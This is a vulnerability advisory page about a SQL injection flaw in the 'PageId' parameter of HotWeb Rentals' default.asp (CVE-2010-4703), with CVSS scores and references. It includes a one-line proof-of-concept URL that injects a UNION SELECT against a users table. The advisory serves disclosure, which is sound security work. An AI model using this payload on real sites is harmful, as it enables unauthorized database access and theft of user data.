HotWeb Rentals "PageId" SQL Injection Vulnerability

2011-01-21 / 2011-01-22

Credit: non customers

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-4703

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

HotWeb Rentals "PageId" SQL Injection Vulnerability

PRODUCT >>> http://www.hotwebscripts.co.uk/

Input passed to the "PageId" parameter in default.asp is not properly sanitised before being used in
SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

POC >>> default.asp?PageId=-15+union+select+11,22,33,44,55,66,77,88,99+from+user
s

-- 
non-customers crew | http://rock-madrid.com/

References:

http://www.securityfocus.com/bid/45567

http://www.securityfocus.com/archive/1/515476

http://secunia.com/advisories/36747

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

HotWeb Rentals "PageId" SQL Injection Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.